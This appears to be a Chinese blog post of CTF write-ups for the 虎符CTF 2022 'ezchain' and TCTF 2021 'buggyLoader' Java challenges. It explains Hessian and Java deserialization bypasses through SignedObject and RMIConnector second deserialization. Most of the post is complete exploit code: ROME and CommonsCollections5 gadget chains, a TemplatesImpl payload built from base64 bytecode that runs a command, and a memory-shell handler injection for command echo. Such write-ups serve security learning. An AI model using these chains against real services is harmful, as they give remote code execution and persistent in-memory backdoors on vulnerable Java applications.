• [虎符CTF 2022]ezchain


    从 docker-compose 中能判断不出网


    image-20220517134303888
    反编译后查看 handle,首先需要实现一个 hash 碰撞,然后就是一个 Hessian 反序列化的接口。
    image-20220517130137249
    hashcode 部分实际上就是实现了一个 31 进制转换,把前两位的 HF 换成 Ge 就能绕过了。
    image-20220517130454836
    然后就是不出网的 hessian 反序列化的利用,用了 java.security.SignedObject 的二次反序列化,原因前面的 hessian 反序列化已经提过了(这里使用 codeql 工具审出来的,具体操作。。。下次一定)
    poc:(第一次反序列化调用原生 readObject,第二次反序列化直接用 CC2 打就可)
    import com.caucho.hessian.io.Hessian2Input;
    import com.caucho.hessian.io.Hessian2Output;
    import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
    import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
    import com.rometools.rome.feed.impl.EqualsBean;
    import com.rometools.rome.feed.impl.ObjectBean;
    import com.rometools.rome.feed.impl.ToStringBean;
    import sun.security.provider.DSAPrivateKey;
    import org.slf4j.impl.StaticLoggerBinder;
    
    import javax.xml.transform.Templates;
    import java.io.*;
    import java.lang.reflect.Field;
    import java.security.*;
    import java.util.Base64;
    import java.util.HashMap;
    
    public class payload {
        public static void main(String[] args) throws IOException, NoSuchFieldException, IllegalAccessException, SignatureException, InvalidKeyException {
            HashMap hashMapx = getObject();
    
            // 构造SignedObject对象
            SignedObject signedObject = new SignedObject(hashMapx, new DSAPrivateKey(), new Signature("x") {
                @Override
                protected void engineInitVerify(PublicKey publicKey) throws InvalidKeyException {
    
                }
    
                @Override
                protected void engineInitSign(PrivateKey privateKey) throws InvalidKeyException {
    
                }
    
                @Override
                protected void engineUpdate(byte b) throws SignatureException {
    
                }
    
                @Override
                protected void engineUpdate(byte[] b, int off, int len) throws SignatureException {
    
                }
    
                @Override
                protected byte[] engineSign() throws SignatureException {
                    return new byte[0];
                }
    
                @Override
                protected boolean engineVerify(byte[] sigBytes) throws SignatureException {
                    return false;
                }
    
                @Override
                protected void engineSetParameter(String param, Object value) throws InvalidParameterException {
    
                }
    
                @Override
                protected Object engineGetParameter(String param) throws InvalidParameterException {
                    return null;
                }
            });
    
            // 构造ToStringBean
            ToStringBean toStringBean = new ToStringBean(SignedObject.class, signedObject);
            ToStringBean toStringBean1 = new ToStringBean(String.class, "s");
    
            // 构造ObjectBean
            ObjectBean objectBean = new ObjectBean(ToStringBean.class, toStringBean1);
    
            // 构造HashMap
            HashMap hashMap = new HashMap();
            hashMap.put(objectBean,"aaaa");
    
            // 反射修改字段
            Field obj = EqualsBean.class.getDeclaredField("obj");
            Field equalsBean = ObjectBean.class.getDeclaredField("equalsBean");
    
            obj.setAccessible(true);
            equalsBean.setAccessible(true);
    
            obj.set(equalsBean.get(objectBean), toStringBean);
    
            Hessian2Output hessianOutput1 = new Hessian2Output(new FileOutputStream("./second.ser"));
            hessianOutput1.writeObject(hashMap);
            hessianOutput1.close();
        }
    
        public static void setFieldValue(Object obj,String name,Object value) throws NoSuchFieldException, IllegalAccessException {
            Field field=obj.getClass().getDeclaredField(name);
            field.setAccessible(true);
            field.set(obj,value);
        }
    
        public static HashMap getObject() throws NoSuchFieldException, IllegalAccessException {
            //构造TemplatesImpl对象
            byte[] bytecode= Base64.getDecoder().decode("yv66vgAAADQAIAoABgATCgAUABUIABYKABQAFwcACQcAGAEABjxpbml0PgEAAygpVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBAApFeGNlcHRpb25zBwAZAQAJdHJhbnNmb3JtAQByKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO1tMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWBwAaAQCmKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEAClNvdXJjZUZpbGUBAAlDb2RlLmphdmEMAAcACAcAGwwAHAAdAQAEY2FsYwwAHgAfAQBAY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL3J1bnRpbWUvQWJzdHJhY3RUcmFuc2xldAEAE2phdmEvaW8vSU9FeGNlcHRpb24BADljb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvVHJhbnNsZXRFeGNlcHRpb24BABFqYXZhL2xhbmcvUnVudGltZQEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsBAARleGVjAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7ACEABQAGAAAAAAADAAEABwAIAAIACQAAAC4AAgABAAAADiq3AAG4AAISA7YABFexAAAAAQAKAAAADgADAAAADAAEAA0ADQAOAAsAAAAEAAEADAABAA0ADgACAAkAAAAZAAAAAwAAAAGxAAAAAQAKAAAABgABAAAAEgALAAAABAABAA8AAQANABAAAgAJAAAAGQAAAAQAAAABsQAAAAEACgAAAAYAAQAAABYACwAAAAQAAQAPAAEAEQAAAAIAEg==");
            byte[][] bytee= new byte[][]{bytecode};
            TemplatesImpl templates=new TemplatesImpl();
            setFieldValue(templates,"_bytecodes",bytee);
            setFieldValue(templates,"_name","Code");
            setFieldValue(templates,"_tfactory",new TransformerFactoryImpl());
    
            //构造ToStringBean
            ToStringBean toStringBean = new ToStringBean(Templates.class,templates);
            ToStringBean toStringBean1 = new ToStringBean(String.class, "s");
    
            //构造ObjectBean
            ObjectBean objectBean=new ObjectBean(ToStringBean.class,toStringBean1);
    
            //构造HashMap
            HashMap hashMap=new HashMap();
            hashMap.put(objectBean,"aaaa");
    
            //反射修改字段
            Field obj=EqualsBean.class.getDeclaredField("obj");
            Field equalsBean=ObjectBean.class.getDeclaredField("equalsBean");
    
            obj.setAccessible(true);
            equalsBean.setAccessible(true);
    
            obj.set(equalsBean.get(objectBean),toStringBean);
    
            return hashMap;
        }
    }
    

    image-20220517203605154
    可以执行命令但不出网不能弹 shell,考虑将执行命令的结果写到文件中再读文件,但操作起来比较麻烦,实战中也要考虑路径的问题。
    这里参考内存马获取回显的思路,想办法拿到存储 Request 或 Respnse 的全局变量,通常是再线程中找,可以劫持 handler 实现内存马。
    image-20220517211136215
    最终能注入的 poc:
    import com.caucho.hessian.io.Hessian2Input;
    import com.caucho.hessian.io.Hessian2Output;
    import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
    import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
    import com.rometools.rome.feed.impl.EqualsBean;
    import com.rometools.rome.feed.impl.ObjectBean;
    import com.rometools.rome.feed.impl.ToStringBean;
    import sun.security.provider.DSAPrivateKey;
    
    import javax.xml.transform.Templates;
    import java.io.*;
    import java.lang.reflect.Field;
    import java.security.*;
    import javassist.CannotCompileException;
    import javassist.ClassPool;
    import javassist.CtClass;
    import javassist.NotFoundException;
    import java.util.HashMap;
    
    public class payload {
    
        public static void main(String[] args) throws IOException, NoSuchFieldException, IllegalAccessException, SignatureException, InvalidKeyException, NotFoundException, CannotCompileException {
            HashMap hashMapx = getObject();
    
            // 构造SignedObject对象
            SignedObject signedObject = new SignedObject(hashMapx, new DSAPrivateKey(), new Signature("x") {
                @Override
                protected void engineInitVerify(PublicKey publicKey) throws InvalidKeyException {
    
                }
    
                @Override
                protected void engineInitSign(PrivateKey privateKey) throws InvalidKeyException {
    
                }
    
                @Override
                protected void engineUpdate(byte b) throws SignatureException {
    
                }
    
                @Override
                protected void engineUpdate(byte[] b, int off, int len) throws SignatureException {
    
                }
    
                @Override
                protected byte[] engineSign() throws SignatureException {
                    return new byte[0];
                }
    
                @Override
                protected boolean engineVerify(byte[] sigBytes) throws SignatureException {
                    return false;
                }
    
                @Override
                protected void engineSetParameter(String param, Object value) throws InvalidParameterException {
    
                }
    
                @Override
                protected Object engineGetParameter(String param) throws InvalidParameterException {
                    return null;
                }
            });
    
            // 构造ToStringBean
            ToStringBean toStringBean = new ToStringBean(SignedObject.class, signedObject);
            ToStringBean toStringBean1 = new ToStringBean(String.class, "s");
    
            // 构造ObjectBean
            ObjectBean objectBean = new ObjectBean(ToStringBean.class, toStringBean1);
    
            // 构造HashMap
            HashMap hashMap = new HashMap();
            hashMap.put(objectBean,"aaaa");
    
            // 反射修改字段
            Field obj = EqualsBean.class.getDeclaredField("obj");
            Field equalsBean = ObjectBean.class.getDeclaredField("equalsBean");
    
            obj.setAccessible(true);
            equalsBean.setAccessible(true);
    
            obj.set(equalsBean.get(objectBean), toStringBean);
    
            Hessian2Output hessianOutput1 = new Hessian2Output(new FileOutputStream("./second.ser"));
            hessianOutput1.writeObject(hashMap);
            hessianOutput1.close();
        }
    
        public static void setFieldValue(Object obj,String name,Object value) throws NoSuchFieldException, IllegalAccessException {
            Field field=obj.getClass().getDeclaredField(name);
            field.setAccessible(true);
            field.set(obj,value);
        }
    
        public static HashMap getObject() throws NoSuchFieldException, IllegalAccessException, IOException, CannotCompileException, NotFoundException {
            //构造TemplatesImpl对象
            ClassPool pool = ClassPool.getDefault();
            CtClass cc = pool.get("testHandler");
            byte[] bytecode=cc.toBytecode();
            byte[][] bytee= new byte[][]{bytecode};
            TemplatesImpl templates = new TemplatesImpl();
            setFieldValue(templates,"_bytecodes",bytee);
            setFieldValue(templates,"_name","Code");
            setFieldValue(templates,"_tfactory",new TransformerFactoryImpl());
    
            //构造ToStringBean
            ToStringBean toStringBean = new ToStringBean(Templates.class,templates);
            ToStringBean toStringBean1 = new ToStringBean(String.class, "s");
    
            //构造ObjectBean
            ObjectBean objectBean = new ObjectBean(ToStringBean.class,toStringBean1);
    
            //构造HashMap
            HashMap hashMap=new HashMap();
            hashMap.put(objectBean,"aaaa");
    
            //反射修改字段
            Field obj=EqualsBean.class.getDeclaredField("obj");
            Field equalsBean=ObjectBean.class.getDeclaredField("equalsBean");
    
            obj.setAccessible(true);
            equalsBean.setAccessible(true);
    
            obj.set(equalsBean.get(objectBean),toStringBean);
    
            return hashMap;
        }
    }
    

    image-20220517222824106
  • [TCTF 2021]buggyLoader


    java 反序列化,但问题是反序列化的这个 objectInputStre
    am 是重写的,resolveClass 也被重写了,和原生的 readObject 做一下对比
    image-20220526154552555
    image-20220526154610618
    forname 加载变成了调用 URLClassLoader 的 loadClass 加载,可参考 shiro 反序列化的利用,shiro 在 readObject 前调用ClassResolvingObjectInputStream 重写了 resolveClass,也是使用了 ClassLoader.loadClass。
    它们之间的区别(简单理解)是 Class.forName 能解析数组类型,但 ClassLoader 不会解析数组类型,加载时会抛出 ClassNotFoundException。
    但这个题的 ClassLoader 和 shiro 还不太一样,在 shiro 中用的是 tomcat 的类加载机制,也就是双亲委派
    image-20220526192442769
    在反序列化的时候不能加载 WEB-INF/lib 下的数组类型,但无数组类型的 CC3 就能打(即使里面用到了 java 原生类数组 byte[] 等)。
    但这个题卡的就很死,p 神提到的用 CC5 打 TemplatesImpl 是用不了的。(执行过程中还是调用了数组类型)
    打法1:出网条件下的 JRMPClient

    打法2:RMIConnectorServer 二次反序列化

    利用自动审计工具找到了利用点 javax.management.remote.rmi.RMIConnector#findRMIServerJRMP
    image-20220526194919783
    其中传入的 base64 可控,将 base64 解码后会对其进行反序列化操作,然后随便选一条链子接着打就行了。(get 交不了要改成 post)
    package myexp.buggyloader;
    
    import org.apache.commons.collections.Transformer;
    import org.apache.commons.collections.functors.InvokerTransformer;
    import org.apache.commons.collections.keyvalue.TiedMapEntry;
    import org.apache.commons.collections.map.LazyMap;
    import ysoserial.payloads.*;
    import ysoserial.payloads.util.Reflections;
    import javax.management.remote.JMXServiceURL;
    import javax.management.remote.rmi.RMIConnector;
    import java.io.*;
    import java.lang.reflect.Field;
    import java.util.Base64;
    import java.util.HashMap;
    import java.util.HashSet;
    import java.util.Map;
    
    public class JMX {
        public static void main(String[] args) throws Exception {
            Object obj = getObject();
            ByteArrayOutputStream bos = new ByteArrayOutputStream();
            ObjectOutputStream oss = null;
            oss = new ObjectOutputStream(bos);
            oss.writeUTF("SJTU");
            oss.writeInt(1896);
            oss.writeObject(obj);
            oss.flush();
            byte[] bytes = bos.toByteArray();
            bos.close();
    
            String hex = Utils.bytesTohexString(bytes);
            System.out.println(hex);
            byte[] b2 = Utils.hexStringToBytes(hex);
            InputStream inputStream1 = new ByteArrayInputStream(b2);
            ObjectInputStream objectInputStream1 = new MyObjectInputStream(inputStream1);
            System.out.println(objectInputStream1.readUTF());
            System.out.println(objectInputStream1.readInt());
            Object obj2 = objectInputStream1.readObject();
        }
    
        private static Object getObject() throws Exception {
            Transformer transformer = InvokerTransformer.getInstance("connect");
            CommonsCollections5 commonsCollections5 = new CommonsCollections5();
            ByteArrayOutputStream outputStream = new ByteArrayOutputStream();
            ObjectOutputStream objectOutputStream = new ObjectOutputStream(outputStream);
            objectOutputStream.writeObject(commonsCollections5.getObject("calc"));
            String expbase64 = new String(Base64.getEncoder().encode(outputStream.toByteArray()));
            String finalExp = "service:jmx:rmi:///stub/" + expbase64;
            RMIConnector rmiConnector = new RMIConnector(new JMXServiceURL(finalExp), new HashMap<>());
    
            Map innerMap = new HashMap();
            Map lazyMap = LazyMap.decorate(innerMap, transformer);
            TiedMapEntry entry = new TiedMapEntry(lazyMap, rmiConnector);
            HashSet map = new HashSet(1);
            map.add("foo");
            Field f = null;
    
            try {
                f = HashSet.class.getDeclaredField("map");
            } catch (NoSuchFieldException var18) {
                f = HashSet.class.getDeclaredField("backingMap");
            }
    
            Reflections.setAccessible(f);
            HashMap innimpl = (HashMap) f.get(map);
            Field f2 = null;
    
            try {
                f2 =HashMap.class.getDeclaredField("table");
            } catch (NoSuchFieldException var17) {
                f2 = HashMap.class.getDeclaredField("elementData");
            }
    
            Reflections.setAccessible(f2);
            Object[] array = (Object[]) ((Object[]) f2.get(innimpl));
            Object node = array[0];
            if (node == null) {
                node = array[1];
            }
    
            Field keyField = null;
    
            try {
                keyField = node.getClass().getDeclaredField("key");
            } catch (Exception var16) {
                keyField = Class.forName("java.util.MapEntry").getDeclaredField("key");
            }
    
            Reflections.setAccessible(keyField);
            keyField.set(node, entry);
            return map;
        }
    }
    

    从 connect 开始分析
    image-20220527092013346
    然后进入 findRMIServer,其中 directoryURL 中存放着 payload
    image-20220527092322098
    之后就可以进入 findRMIServerJRMP 触发二次反序列化。
    image-20220527092435123
  • 参考文献


 

标签: none

添加新评论